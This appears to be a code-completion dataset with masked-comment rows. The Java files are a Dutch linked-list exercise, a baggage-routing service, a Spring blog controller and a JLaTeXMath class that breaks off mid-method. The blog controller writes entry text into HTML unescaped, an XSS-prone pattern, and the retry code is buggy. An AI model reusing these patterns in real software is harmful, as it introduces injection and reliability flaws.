public Node getNext() {
return this.next;
}
public void setNext(Node next) {
this.next = next;
}
public Node getPrevious() {
return this.previous;
}
public void setPrevious(Node previous) {
this.previous = previous;
}
public String getValue() {
return this.value;
}
// Other methods (n/a)
}
/**
* Merk op dat de enige aanpassing ten opzichte van de "gewone" Doubly Linked List
* is dat in alle while-loops de conditie:
* (current.getNext() != null)
* is vervangen door:
* (!current.getNext().equals(this.head))
*
*/
class LinkedList {
// Fields: (Belangrijk: Nieuwe field `Node tail`
// Helpt bij<SUF>
private Node head;
private Node tail;
// Constructors (n/a)
// Get/set methods (n/a)
// Other methods:
public void push(String value) {
Node newNode = new Node(value);
if (this.head == null && this.tail == null) {
this.head = newNode;
this.tail = newNode;
}
else {
Node current = this.head;
while (!current.getNext().equals(this.head)) {
current = current.getNext();
}
current.setNext(newNode);
current.getNext().setPrevious(current); // Staar hier even naar.
this.tail = current.getNext(); // Of: this.tail = newNode
}
// BONUS: Maak de lijst circulair!
// Dit kun je buiten de if/else laten, omdat je dit in beide gevallen hetzelfde zou doen
this.tail.setNext(this.head);
this.head.setPrevious(this.tail);
}
public String pop(String value) {
Node current = this.head;
while (!current.getNext().equals(this.head)) {
if (current.getNext().getValue().equals(value)) {
Node returnNode = current.getNext();
// Verbind de huidige Node aan de eerstvolgende Node na de verwijderde Node
// VERGEET NIET de verbinding in beide richtingen goed te leggen, anders kan de GC z'n werk niet doen
current.setNext(current.getNext().getNext());
current.getNext().setPrevious(current);
// Snij de verbindingen door in het verwijderde object om het geheugen vrij te maken
returnNode.setPrevious(null);
returnNode.setNext(null);
return returnNode.getValue();
}
current = current.getNext();
}
return "Not found";
}
public String pop(int index) {
int currentindex = 0;
Node current = head;
while (currentindex != index && !current.getNext().equals(this.head)) {
if (currentindex == index-1) {
Node returnNode = current.getNext();
// Verbind de huidige Node aan de eerstvolgende Node na de verwijderde Node
// VERGEET NIET de verbinding in beide richtingen goed te leggen
current.setNext(current.getNext().getNext());
current.getNext().setPrevious(current);
// Snij de verbindingen door in het verwijderde object om het geheugen vrij te maken
returnNode.setPrevious(null);
returnNode.setNext(null);
return returnNode.getValue();
}
currentindex++;
current = current.getNext();
}
return "Not found";
}
public String peek(String value) {
Node current = head;
while (!current.getNext().equals(this.head)) {
if (current.getNext().getValue().equals(value)) {
return current.getNext().getValue();
}
current = current.getNext();
}
return "Not found";
}
public void print() {
Node current = this.head;
do {
System.out.print(current.getValue()+" ");
current = current.getNext();
}
while (!current.equals(this.head));
System.out.println();
}
} |
79566_20 | package be.kdg.bhs.organizer.services;
import be.kdg.bhs.organizer.api.*;
import be.kdg.bhs.organizer.dto.*;
import be.kdg.bhs.organizer.exceptions.ConveyorServiceException;
import be.kdg.bhs.organizer.exceptions.FlightServiceException;
import be.kdg.bhs.organizer.exceptions.RoutingException;
import be.kdg.bhs.organizer.model.Routes;
import be.kdg.bhs.organizer.model.Status;
import be.kdg.bhs.organizer.model.StatusMessage;
import be.kdg.bhs.organizer.model.Suitcase;
import be.kdg.bhs.organizer.repo.CacheObject;
import be.kdg.bhs.organizer.repo.InMemoryCache;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.List;
import java.util.concurrent.ConcurrentHashMap;
/**
* @author Michael
* @project BHS
* Controls the routing process for incoming suitcases and for incoming sensormessages.
* By implementing the callback interface {@link MessageConsumerListener} it listens to the
* messageconsumers for suitcases and sensormessages. Besides listening to messageconsumers this class
* is also responsible for activating the messageproducers and thus sending statusmessages and routingmessages.
*/
public class RoutingService implements MessageConsumerListener {
private ConcurrentHashMap<Integer, Integer> conveyorTraffic;
private Logger logger = LoggerFactory.getLogger(RoutingService.class);
private List<MessageConsumerService> messageConsumerServices;
private List<MessageProducerService> messageProducerServices;
private MessageFormatterService messageFormatterService;
private FlightService flightService;
private ConveyorService conveyorService;
private CalculateRouteService calculateRouteService;
private InMemoryCache<Integer,CacheObject<Suitcase>> cacheOfSuitcases;
private int recursiveCount = 1;
public RoutingService(List<MessageConsumerService> messageConsumerServices, List<MessageProducerService> messageProducerServices,
MessageFormatterService messageFormatterService, FlightService flightService,
ConveyorService conveyorService, CalculateRouteService calculateRouteService,
long expireTimeCacheOfSuitcases, long intervalCacheOfSuitcases) {
this.messageConsumerServices = messageConsumerServices;
this.messageProducerServices = messageProducerServices;
this.messageFormatterService = messageFormatterService;
this.flightService = flightService;
this.conveyorService = conveyorService;
this.calculateRouteService = calculateRouteService;
this.cacheOfSuitcases = new InMemoryCache<>(expireTimeCacheOfSuitcases,intervalCacheOfSuitcases,new InMemoryBehaviourRouteServiceImpl(this));
this.conveyorTraffic = new ConcurrentHashMap<>();
this.calculateRouteService.setConveyorTraffic(this.conveyorTraffic);
}
/**
* Activates messageConsumers to consume from the Queues for suitcases and sensormessages. The messageConsumers on their
* turn callback the onReceive and onException methods of this class.
*/
public void start() {
//1. Consuming suitcaseMessages
this.messageConsumerServices.get(0).initialize(this,messageFormatterService, SuitcaseMessageDTO.class);
//2. Consuming sensorMessages
this.messageConsumerServices.get(1).initialize(this,messageFormatterService, SensorMessageDTO.class);
}
/**
* A procedural method, executing businesslogic to process incoming suitcases.
* @param messageDTO the message converted from the wire format to a DTO.
*/
@Override
public void onReceiveSuitcaseMessage(SuitcaseMessageDTO messageDTO) {
logger.debug("Entered: onReceiveSuitcaseMessage(): Suitcase {} is being processed", messageDTO.getSuitcaseId());
//1. Transforming an incoming SuitcaseMessageDTO to SuitCase object and storing it in the cacheOfSuitcases
Suitcase suitcase = DTOtoEO.suitCaseDTOtoEO(messageDTO);
//2. Processing the suitcase. This logic is shared for sensorMessage and for suitCaseMessage
try {
this.processSuitcase(suitcase);
//3. Putting the suitcase in the suitcaseCache to follow it up until it is arrived on the gate.
this.putSuitcaseInCache(suitcase);
} catch (RoutingException e) {
logger.error("Error while processing suitcase with id {} and errormessage {}",suitcase.getSuitCaseId(),e.getMessage());
this.sendStatusMessage(new StatusMessage(Status.UNDELIVERABLE,suitcase.getSuitCaseId(),suitcase.getConveyorId()));
}
logger.debug("End: onReceiveSuitcaseMessage(): Suitcase {} {}", messageDTO.getSuitcaseId(),"\n");
}
@Override
public void onReceiveSensorMessage(SensorMessageDTO messageDTO) {
logger.debug("Entered: onReceiveSensorMessage(): SensorMessage for suitcase {} is being processed", messageDTO.getSuitcaseId());
//1. Lookup the suitcase in the suitcaseCache.
CacheObject<Suitcase> suitcaseCacheObject;
if ((suitcaseCacheObject = cacheOfSuitcases.getCacheObject(messageDTO.getSuitcaseId())) != null) {
Suitcase suitcase = suitcaseCacheObject.getCacheObject();
suitcase.setConveyorId(messageDTO.getConveyorId());
suitcaseCacheObject.setTimeEnteredCache(System.currentTimeMillis()); //Need to modify the time timeEntered in cache, because otherwise this object will expire, while it has to stay in the cache!
if (suitcase.getBoardingConveyorId().compareTo(suitcase.getConveyorId())==0) {
//When the boardingconveyor and the currentconveyor are the same the suitcase is at its end destination.
//Need to send arrive message and remove the suitcase from the inmemorycache.
this.sendStatusMessage(new StatusMessage(Status.ARRIVED,suitcase.getSuitCaseId(),suitcase.getConveyorId()));
cacheOfSuitcases.removeCacheObject(suitcase.getSuitCaseId());
}
else {
try {
this.processSuitcase(suitcase);
} catch (RoutingException e) {
logger.error("Error while processing suitcase with id {} and errormessage",suitcase.getSuitCaseId(),e.getMessage());
this.sendStatusMessage(new StatusMessage(Status.UNDELIVERABLE,suitcase.getSuitCaseId(),suitcase.getConveyorId()));
}
}
}
else {
//The suitcase does not exist in the inMemoryCache so a statusMessage LOST is send.
this.sendStatusMessage(new StatusMessage(Status.LOST,messageDTO.getSuitcaseId(),messageDTO.getConveyorId()));
}
logger.debug("End: onReceiveSensorMessage(): SensorMessage for suitcase {} {}", messageDTO.getSuitcaseId(),"\n");
}
@Override
public void sendStatusMessage(StatusMessage statusMessage) {
logger.debug("Entered: sendStatusMessage({})",statusMessage.toString());
if (statusMessage.getStatus().toString().equals(Status.UNDELIVERABLE.toString())) {
cacheOfSuitcases.removeCacheObject(statusMessage.getSuitcaseId());
}
messageProducerServices.get(0).publishMessage(EOtoDTO.StatusMessageToStatusMessageDTO(statusMessage),messageFormatterService);
logger.debug("End: sendStatusMessage({}) {}",statusMessage.toString(),"\n");
}
private void putSuitcaseInCache(Suitcase suitcase) {
//1. Check if suitcase exits already in inMemoryCache
if(cacheOfSuitcases.containsCacheObject(suitcase.getSuitCaseId())) {
logger.error("Suitcase with id {} already exists and is left out!");
}
else {
cacheOfSuitcases.putCacheObject(suitcase.getSuitCaseId(),new CacheObject<>(suitcase));
}
}
private void processSuitcase(Suitcase suitcase) throws RoutingException {
Routes routes = null;
//1. Retrieving the boarding gate by calling the flightService.
consultFlightService(suitcase);
//3. Retrieving routeinformation from the ConveyorService.
routes = consultConveyorService(suitcase, routes);
//4. Calculating the shortest route
Integer nextConveyorInRoute = this.calculateRouteService.nextConveyorInRoute(routes,suitcase.getConveyorId());
//5. Creating a routeMessage to send to the Simulator
RouteMessageDTO routeMessageDTO = EOtoDTO.RouteToRouteMessageDTO(nextConveyorInRoute,suitcase.getSuitCaseId());
messageProducerServices.get(0).publishMessage(routeMessageDTO,messageFormatterService);
}
private Routes consultConveyorService(Suitcase suitcase, Routes routes) throws RoutingException {
if(conveyorService!=null) {
try {
RouteDTO routesDTO = conveyorService.routeInformation(suitcase.getConveyorId(),suitcase.getBoardingConveyorId());
routes = DTOtoEO.routesDTOtoEO(routesDTO);
}
catch(ConveyorServiceException e ) {
logger.error("Unexpected error during call of conveyorservice: {}. Attempting a recursive call for suitcase {}",e.getMessage(),suitcase.getSuitCaseId());
if (recursiveCount++<2) {
consultConveyorService(suitcase,routes); //Indien de conveyorservice niet bereikbaar is of een fout teruggeeft wordt later opnieuw geprobeerd deze te contacteren voor het betreffende bagagestuk
}
else {
recursiveCount=0;
//this.sendStatusMessage();
throw new RoutingException(e.getMessage());
}
}
}
else {
//Supplying an instance of a service is crucial for the BHS, thus it is okey if this crashes the whole application when this is not provided.
throw new NullPointerException("No implementation for FlightService was instantiated!");
}
return routes;
}
private void consultFlightService(Suitcase suitcase) throws RoutingException {
if(flightService!=null) {
try {
suitcase.setBoardingConveyorId(flightService.flightInFormation(suitcase.getFlightNumber()));
}
catch (FlightServiceException e) {
logger.error("Unexpected error during call of flightservice: {}.Attempting a recursive call for suitcase {}",e.getMessage(),suitcase.getSuitCaseId());
if (recursiveCount++<2) {
consultFlightService(suitcase); //Indien de flightservice niet bereikbaar is of een fout teruggeeft wordt later opnieuw geprobeerd deze te contacteren voor het betreffende bagagestuk
}
else {
recursiveCount=0;
throw new RoutingException(e.getMessage());
}
}
}
else {
//Supplying an instance of a service is crucial for the BHS, thus it is okey if this crashes the whole application when this is not provided.
throw new NullPointerException("No implementation for FlightService was instantiated!");
}
}
}
| msnm/BHS | src/main/java/be/kdg/bhs/organizer/services/RoutingService.java | 3,065 | //Indien de flightservice niet bereikbaar is of een fout teruggeeft wordt later opnieuw geprobeerd deze te contacteren voor het betreffende bagagestuk | line_comment | nl | package be.kdg.bhs.organizer.services;
import be.kdg.bhs.organizer.api.*;
import be.kdg.bhs.organizer.dto.*;
import be.kdg.bhs.organizer.exceptions.ConveyorServiceException;
import be.kdg.bhs.organizer.exceptions.FlightServiceException;
import be.kdg.bhs.organizer.exceptions.RoutingException;
import be.kdg.bhs.organizer.model.Routes;
import be.kdg.bhs.organizer.model.Status;
import be.kdg.bhs.organizer.model.StatusMessage;
import be.kdg.bhs.organizer.model.Suitcase;
import be.kdg.bhs.organizer.repo.CacheObject;
import be.kdg.bhs.organizer.repo.InMemoryCache;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.util.List;
import java.util.concurrent.ConcurrentHashMap;
/**
* @author Michael
* @project BHS
* Controls the routing process for incoming suitcases and for incoming sensormessages.
* By implementing the callback interface {@link MessageConsumerListener} it listens to the
* messageconsumers for suitcases and sensormessages. Besides listening to messageconsumers this class
* is also responsible for activating the messageproducers and thus sending statusmessages and routingmessages.
*/
public class RoutingService implements MessageConsumerListener {
private ConcurrentHashMap<Integer, Integer> conveyorTraffic;
private Logger logger = LoggerFactory.getLogger(RoutingService.class);
private List<MessageConsumerService> messageConsumerServices;
private List<MessageProducerService> messageProducerServices;
private MessageFormatterService messageFormatterService;
private FlightService flightService;
private ConveyorService conveyorService;
private CalculateRouteService calculateRouteService;
private InMemoryCache<Integer,CacheObject<Suitcase>> cacheOfSuitcases;
private int recursiveCount = 1;
public RoutingService(List<MessageConsumerService> messageConsumerServices, List<MessageProducerService> messageProducerServices,
MessageFormatterService messageFormatterService, FlightService flightService,
ConveyorService conveyorService, CalculateRouteService calculateRouteService,
long expireTimeCacheOfSuitcases, long intervalCacheOfSuitcases) {
this.messageConsumerServices = messageConsumerServices;
this.messageProducerServices = messageProducerServices;
this.messageFormatterService = messageFormatterService;
this.flightService = flightService;
this.conveyorService = conveyorService;
this.calculateRouteService = calculateRouteService;
this.cacheOfSuitcases = new InMemoryCache<>(expireTimeCacheOfSuitcases,intervalCacheOfSuitcases,new InMemoryBehaviourRouteServiceImpl(this));
this.conveyorTraffic = new ConcurrentHashMap<>();
this.calculateRouteService.setConveyorTraffic(this.conveyorTraffic);
}
/**
* Activates messageConsumers to consume from the Queues for suitcases and sensormessages. The messageConsumers on their
* turn callback the onReceive and onException methods of this class.
*/
public void start() {
//1. Consuming suitcaseMessages
this.messageConsumerServices.get(0).initialize(this,messageFormatterService, SuitcaseMessageDTO.class);
//2. Consuming sensorMessages
this.messageConsumerServices.get(1).initialize(this,messageFormatterService, SensorMessageDTO.class);
}
/**
* A procedural method, executing businesslogic to process incoming suitcases.
* @param messageDTO the message converted from the wire format to a DTO.
*/
@Override
public void onReceiveSuitcaseMessage(SuitcaseMessageDTO messageDTO) {
logger.debug("Entered: onReceiveSuitcaseMessage(): Suitcase {} is being processed", messageDTO.getSuitcaseId());
//1. Transforming an incoming SuitcaseMessageDTO to SuitCase object and storing it in the cacheOfSuitcases
Suitcase suitcase = DTOtoEO.suitCaseDTOtoEO(messageDTO);
//2. Processing the suitcase. This logic is shared for sensorMessage and for suitCaseMessage
try {
this.processSuitcase(suitcase);
//3. Putting the suitcase in the suitcaseCache to follow it up until it is arrived on the gate.
this.putSuitcaseInCache(suitcase);
} catch (RoutingException e) {
logger.error("Error while processing suitcase with id {} and errormessage {}",suitcase.getSuitCaseId(),e.getMessage());
this.sendStatusMessage(new StatusMessage(Status.UNDELIVERABLE,suitcase.getSuitCaseId(),suitcase.getConveyorId()));
}
logger.debug("End: onReceiveSuitcaseMessage(): Suitcase {} {}", messageDTO.getSuitcaseId(),"\n");
}
@Override
public void onReceiveSensorMessage(SensorMessageDTO messageDTO) {
logger.debug("Entered: onReceiveSensorMessage(): SensorMessage for suitcase {} is being processed", messageDTO.getSuitcaseId());
//1. Lookup the suitcase in the suitcaseCache.
CacheObject<Suitcase> suitcaseCacheObject;
if ((suitcaseCacheObject = cacheOfSuitcases.getCacheObject(messageDTO.getSuitcaseId())) != null) {
Suitcase suitcase = suitcaseCacheObject.getCacheObject();
suitcase.setConveyorId(messageDTO.getConveyorId());
suitcaseCacheObject.setTimeEnteredCache(System.currentTimeMillis()); //Need to modify the time timeEntered in cache, because otherwise this object will expire, while it has to stay in the cache!
if (suitcase.getBoardingConveyorId().compareTo(suitcase.getConveyorId())==0) {
//When the boardingconveyor and the currentconveyor are the same the suitcase is at its end destination.
//Need to send arrive message and remove the suitcase from the inmemorycache.
this.sendStatusMessage(new StatusMessage(Status.ARRIVED,suitcase.getSuitCaseId(),suitcase.getConveyorId()));
cacheOfSuitcases.removeCacheObject(suitcase.getSuitCaseId());
}
else {
try {
this.processSuitcase(suitcase);
} catch (RoutingException e) {
logger.error("Error while processing suitcase with id {} and errormessage",suitcase.getSuitCaseId(),e.getMessage());
this.sendStatusMessage(new StatusMessage(Status.UNDELIVERABLE,suitcase.getSuitCaseId(),suitcase.getConveyorId()));
}
}
}
else {
//The suitcase does not exist in the inMemoryCache so a statusMessage LOST is send.
this.sendStatusMessage(new StatusMessage(Status.LOST,messageDTO.getSuitcaseId(),messageDTO.getConveyorId()));
}
logger.debug("End: onReceiveSensorMessage(): SensorMessage for suitcase {} {}", messageDTO.getSuitcaseId(),"\n");
}
@Override
public void sendStatusMessage(StatusMessage statusMessage) {
logger.debug("Entered: sendStatusMessage({})",statusMessage.toString());
if (statusMessage.getStatus().toString().equals(Status.UNDELIVERABLE.toString())) {
cacheOfSuitcases.removeCacheObject(statusMessage.getSuitcaseId());
}
messageProducerServices.get(0).publishMessage(EOtoDTO.StatusMessageToStatusMessageDTO(statusMessage),messageFormatterService);
logger.debug("End: sendStatusMessage({}) {}",statusMessage.toString(),"\n");
}
private void putSuitcaseInCache(Suitcase suitcase) {
//1. Check if suitcase exits already in inMemoryCache
if(cacheOfSuitcases.containsCacheObject(suitcase.getSuitCaseId())) {
logger.error("Suitcase with id {} already exists and is left out!");
}
else {
cacheOfSuitcases.putCacheObject(suitcase.getSuitCaseId(),new CacheObject<>(suitcase));
}
}
private void processSuitcase(Suitcase suitcase) throws RoutingException {
Routes routes = null;
//1. Retrieving the boarding gate by calling the flightService.
consultFlightService(suitcase);
//3. Retrieving routeinformation from the ConveyorService.
routes = consultConveyorService(suitcase, routes);
//4. Calculating the shortest route
Integer nextConveyorInRoute = this.calculateRouteService.nextConveyorInRoute(routes,suitcase.getConveyorId());
//5. Creating a routeMessage to send to the Simulator
RouteMessageDTO routeMessageDTO = EOtoDTO.RouteToRouteMessageDTO(nextConveyorInRoute,suitcase.getSuitCaseId());
messageProducerServices.get(0).publishMessage(routeMessageDTO,messageFormatterService);
}
private Routes consultConveyorService(Suitcase suitcase, Routes routes) throws RoutingException {
if(conveyorService!=null) {
try {
RouteDTO routesDTO = conveyorService.routeInformation(suitcase.getConveyorId(),suitcase.getBoardingConveyorId());
routes = DTOtoEO.routesDTOtoEO(routesDTO);
}
catch(ConveyorServiceException e ) {
logger.error("Unexpected error during call of conveyorservice: {}. Attempting a recursive call for suitcase {}",e.getMessage(),suitcase.getSuitCaseId());
if (recursiveCount++<2) {
consultConveyorService(suitcase,routes); //Indien de conveyorservice niet bereikbaar is of een fout teruggeeft wordt later opnieuw geprobeerd deze te contacteren voor het betreffende bagagestuk
}
else {
recursiveCount=0;
//this.sendStatusMessage();
throw new RoutingException(e.getMessage());
}
}
}
else {
//Supplying an instance of a service is crucial for the BHS, thus it is okey if this crashes the whole application when this is not provided.
throw new NullPointerException("No implementation for FlightService was instantiated!");
}
return routes;
}
private void consultFlightService(Suitcase suitcase) throws RoutingException {
if(flightService!=null) {
try {
suitcase.setBoardingConveyorId(flightService.flightInFormation(suitcase.getFlightNumber()));
}
catch (FlightServiceException e) {
logger.error("Unexpected error during call of flightservice: {}.Attempting a recursive call for suitcase {}",e.getMessage(),suitcase.getSuitCaseId());
if (recursiveCount++<2) {
consultFlightService(suitcase); //Indien de<SUF>
}
else {
recursiveCount=0;
throw new RoutingException(e.getMessage());
}
}
}
else {
//Supplying an instance of a service is crucial for the BHS, thus it is okey if this crashes the whole application when this is not provided.
throw new NullPointerException("No implementation for FlightService was instantiated!");
}
}
}
|
150417_1 | package be.kdg.blog.controllers;
import be.kdg.blog.model.Blog;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.print.attribute.standard.Media;
import javax.servlet.http.HttpServletRequest;
/**
* Created by Michael on 11/02/2018.
*/
@Controller
public class ResponseBodyController {
private final Blog blog;
@Autowired
public ResponseBodyController(Blog blog) {
this.blog = blog;
}
@GetMapping(value = "/", produces = MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String sayHello() {
return "Hello, World!";
}
@GetMapping(value = "/html", produces = MediaType.TEXT_HTML_VALUE)
@ResponseBody
public String sayHelloHtml() {
final String hello = "<html><head><title>Hello!</title></head><body><h1>Hello, world!</h1></body></html>";
return hello;
}
@GetMapping(value="/blog", produces = MediaType.TEXT_HTML_VALUE)
@ResponseBody
public String getBlog() {
StringBuilder html = new StringBuilder();
html.append("<!DOCTYPE html>");
html.append("<html> <body>");
html.append("<h1> My Blog </h1>");
for(int i = 0; i < blog.getEntries().size();i++) {
html.append("<span>");
// Maken de header van de blog
html.append("<h2>" + blog.getEntries().get(i).getSubject() + "</h2>");
//Voegen de tags toe
html.append("<p>"+blog.getTags().get(i).getName()+"</p>");
// Voegen de tekst toe
html.append("<p>"+blog.getEntries().get(i).getMessage()+"</p>");
// Voegen de datum toe
html.append("<p>"+blog.getEntries().get(i).getDateTime()+"</p>");
html.append("</span>");
}
html.append("</body> </html>");
return html.toString();
}
@GetMapping(value = "/api/blog/entries/{entryId}", produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public String getEntry(@PathVariable("entryId") int entryId) {
Gson gson = new GsonBuilder().setPrettyPrinting().create();
// Gaan er even vanuit dat de id overeenkomen met de volgorde waarin de entries worden toegevoegd.
// Indien dit niet het geval, is lopen we over alle entries en kijken we waar de id gelijk is aan entryid.
String json = gson.toJson(blog.getEntries().get(entryId-1));
return json;
//return new Gson().toJson(blog.getEntries().get(entryId));
}
@GetMapping(value = "/api/blog", produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public String getEntryWithQueryString(@RequestParam("entryId") int entryId) {
Gson gson = new GsonBuilder().setPrettyPrinting().create();
String json = gson.toJson(blog.getEntries().get(entryId-1));
return json;
}
@GetMapping(value = "/api/blog/dynamic", produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public ResponseEntity<String> dynamic(@RequestParam("entryId") int entryId) {
Gson gson = new GsonBuilder().setPrettyPrinting().create();
String json = null;
HttpStatus status;
// De Try catch is niet de mooiste oplossing. Beter zou zoals in het boek je een aparte private methode
// schrijven die de blog entries doorzoeket en null teruggeeft als niets gevonden is.
try {
json = gson.toJson(blog.getEntries().get(entryId - 1));
}
catch (Exception ex) {
//No enryy is found
json = null;
}
finally {
status = json != null ? HttpStatus.OK : HttpStatus.NOT_FOUND;
return new ResponseEntity<String>(json,status);
}
}
}
| msnm/sa2_opdracht1 | src/main/java/be/kdg/blog/controllers/ResponseBodyController.java | 1,231 | // Maken de header van de blog | line_comment | nl | package be.kdg.blog.controllers;
import be.kdg.blog.model.Blog;
import com.google.gson.Gson;
import com.google.gson.GsonBuilder;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.print.attribute.standard.Media;
import javax.servlet.http.HttpServletRequest;
/**
* Created by Michael on 11/02/2018.
*/
@Controller
public class ResponseBodyController {
private final Blog blog;
@Autowired
public ResponseBodyController(Blog blog) {
this.blog = blog;
}
@GetMapping(value = "/", produces = MediaType.TEXT_PLAIN_VALUE)
@ResponseBody
public String sayHello() {
return "Hello, World!";
}
@GetMapping(value = "/html", produces = MediaType.TEXT_HTML_VALUE)
@ResponseBody
public String sayHelloHtml() {
final String hello = "<html><head><title>Hello!</title></head><body><h1>Hello, world!</h1></body></html>";
return hello;
}
@GetMapping(value="/blog", produces = MediaType.TEXT_HTML_VALUE)
@ResponseBody
public String getBlog() {
StringBuilder html = new StringBuilder();
html.append("<!DOCTYPE html>");
html.append("<html> <body>");
html.append("<h1> My Blog </h1>");
for(int i = 0; i < blog.getEntries().size();i++) {
html.append("<span>");
// Maken de<SUF>
html.append("<h2>" + blog.getEntries().get(i).getSubject() + "</h2>");
//Voegen de tags toe
html.append("<p>"+blog.getTags().get(i).getName()+"</p>");
// Voegen de tekst toe
html.append("<p>"+blog.getEntries().get(i).getMessage()+"</p>");
// Voegen de datum toe
html.append("<p>"+blog.getEntries().get(i).getDateTime()+"</p>");
html.append("</span>");
}
html.append("</body> </html>");
return html.toString();
}
@GetMapping(value = "/api/blog/entries/{entryId}", produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public String getEntry(@PathVariable("entryId") int entryId) {
Gson gson = new GsonBuilder().setPrettyPrinting().create();
// Gaan er even vanuit dat de id overeenkomen met de volgorde waarin de entries worden toegevoegd.
// Indien dit niet het geval, is lopen we over alle entries en kijken we waar de id gelijk is aan entryid.
String json = gson.toJson(blog.getEntries().get(entryId-1));
return json;
//return new Gson().toJson(blog.getEntries().get(entryId));
}
@GetMapping(value = "/api/blog", produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public String getEntryWithQueryString(@RequestParam("entryId") int entryId) {
Gson gson = new GsonBuilder().setPrettyPrinting().create();
String json = gson.toJson(blog.getEntries().get(entryId-1));
return json;
}
@GetMapping(value = "/api/blog/dynamic", produces = MediaType.APPLICATION_JSON_VALUE)
@ResponseBody
public ResponseEntity<String> dynamic(@RequestParam("entryId") int entryId) {
Gson gson = new GsonBuilder().setPrettyPrinting().create();
String json = null;
HttpStatus status;
// De Try catch is niet de mooiste oplossing. Beter zou zoals in het boek je een aparte private methode
// schrijven die de blog entries doorzoeket en null teruggeeft als niets gevonden is.
try {
json = gson.toJson(blog.getEntries().get(entryId - 1));
}
catch (Exception ex) {
//No enryy is found
json = null;
}
finally {
status = json != null ? HttpStatus.OK : HttpStatus.NOT_FOUND;
return new ResponseEntity<String>(json,status);
}
}
}
|
142557_11 | /* ScriptsAtom.java
* =========================================================================
* This file is originally part of the JMathTeX Library - http://jmathtex.sourceforge.net
*
* Copyright (C) 2004-2007 Universiteit Gent
* Copyright (C) 2009 DENIZET Calixte
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* A copy of the GNU General Public License can be found in the file
* LICENSE.txt provided with the source distribution of this program (see
* the META-INF directory in the source jar). This license can also be
* found on the GNU website at http://www.gnu.org/licenses/gpl.html.
*
* If you did not receive a copy of the GNU General Public License along
* with this program, contact the lead developer, or write to the Free
* Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
* 02110-1301, USA.
*
* Linking this library statically or dynamically with other modules
* is making a combined work based on this library. Thus, the terms
* and conditions of the GNU General Public License cover the whole
* combination.
*
* As a special exception, the copyright holders of this library give you
* permission to link this library with independent modules to produce
* an executable, regardless of the license terms of these independent
* modules, and to copy and distribute the resulting executable under terms
* of your choice, provided that you also meet, for each linked independent
* module, the terms and conditions of the license of that module.
* An independent module is a module which is not derived from or based
* on this library. If you modify this library, you may extend this exception
* to your version of the library, but you are not obliged to do so.
* If you do not wish to do so, delete this exception statement from your
* version.
*
*/
/* Modified by Calixte Denizet */
package com.himamis.retex.renderer.share;
import java.util.ArrayList;
import com.himamis.retex.renderer.share.mhchem.CEEmptyAtom;
import com.himamis.retex.renderer.share.serialize.HasTrueBase;
/**
* An atom representing scripts to be attached to another atom.
*/
public class ScriptsAtom extends Atom implements HasTrueBase {
// base atom
private Atom base;
// subscript and superscript to be attached to the base (if not null)
private Atom subscript;
private Atom superscript;
private TeXConstants.Align align;
public ScriptsAtom(Atom base, Atom sub, Atom sup,
TeXConstants.Align align) {
this.base = base;
subscript = sub;
superscript = sup;
this.align = align;
}
public ScriptsAtom(Atom base, Atom sub, Atom sup, boolean left) {
this(base, sub, sup,
left ? TeXConstants.Align.LEFT : TeXConstants.Align.RIGHT);
}
public ScriptsAtom(Atom base, Atom sub, Atom sup) {
this(base, sub, sup, !(base instanceof CEEmptyAtom));
}
@Override
public Atom getTrueBase() {
return base;
}
public void setBase(Atom base) {
this.base = base;
}
public void setSup(Atom sup) {
superscript = sup;
}
public void setSub(Atom sub) {
subscript = sub;
}
public void addToSup(Atom a) {
if (superscript == null) {
superscript = a;
} else if (superscript instanceof RowAtom) {
((RowAtom) superscript).add(a);
} else {
superscript = new RowAtom(superscript, a);
}
}
public void addToSub(Atom a) {
if (subscript == null) {
subscript = a;
} else if (subscript instanceof RowAtom) {
((RowAtom) subscript).add(a);
} else {
subscript = new RowAtom(subscript, a);
}
}
public Atom getSup() {
return superscript;
}
public Atom getSub() {
return subscript;
}
@Override
public Box createBox(TeXEnvironment env) {
if (subscript == null && superscript == null) {
return base.createBox(env);
} else {
final Atom trueBase = base.getBase();
if (trueBase instanceof RowAtom
&& ((RowAtom) trueBase).lookAtLast()) {
return createBoxForRowAtom(env);
}
int style = env.getStyle();
if (base.type_limits == TeXConstants.SCRIPT_LIMITS
|| (base.type_limits == TeXConstants.SCRIPT_NORMAL
&& style == TeXConstants.STYLE_DISPLAY)) {
return new BigOperatorAtom(base, subscript, superscript)
.createBox(env).setAtom(this);
}
final boolean it = base.setAddItalicCorrection(subscript == null);
Box b = base.createBox(env);
base.setAddItalicCorrection(it);
Box scriptspace = new StrutBox(
env.lengthSettings().getLength("scriptspace", env), 0., 0., 0.);
TeXFont tf = env.getTeXFont();
HorizontalBox hor = new HorizontalBox(b);
FontInfo lastFontId = b.getLastFont();
// if no last font found (whitespace box), use default "mu font"
if (lastFontId == null) {
lastFontId = TeXFont.MUFONT;
}
